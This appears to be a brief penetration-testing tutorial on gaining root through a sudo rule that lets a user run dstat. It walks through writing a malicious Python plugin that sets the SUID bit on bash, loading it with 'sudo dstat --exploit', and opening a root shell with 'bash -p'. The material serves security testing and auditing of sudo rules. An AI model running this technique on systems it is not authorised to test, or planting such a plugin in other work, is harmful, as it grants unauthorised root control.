dstat is a versatile tool for generating system resource statistics.
It allows users to create a custom plugin and execute by adding option e.g. dstat --myplugin.

Investigation

sudo -l

(ALL) NOPASSWD: /usr/bin/dstat

If we can execute "dstat" command as root, we can gain access to privileges by using our malicious plugin.

Exploitation

1. Create a New Dstat Plugin

First off, find locate the "dstat" directory.

find / -type d -name dstat 2>/dev/null

Assume the location of dstat is “/usr/local/share/dstat”.
Create a plugin called "dstat_exploit.py" under "/usr/local/share/dstat/".

import os

os.system('chmod +s /usr/bin/bash')

dstat recognizes plugins under "/usr/local/share/dstat/".
Check if the above exploit plugin has been added by executing the following command.

dstat --list | grep exploit

2. Execute Dstat with the Malicious Plugin

Now execute "dstat" with “—exploit” flag (the flag name is determined by the suffix of the file name e.g. "dstat_\<plugin-name>.py").

sudo /usr/bin/dstat --exploit

The exploit plugin executed so we enter bash as root.

bash -p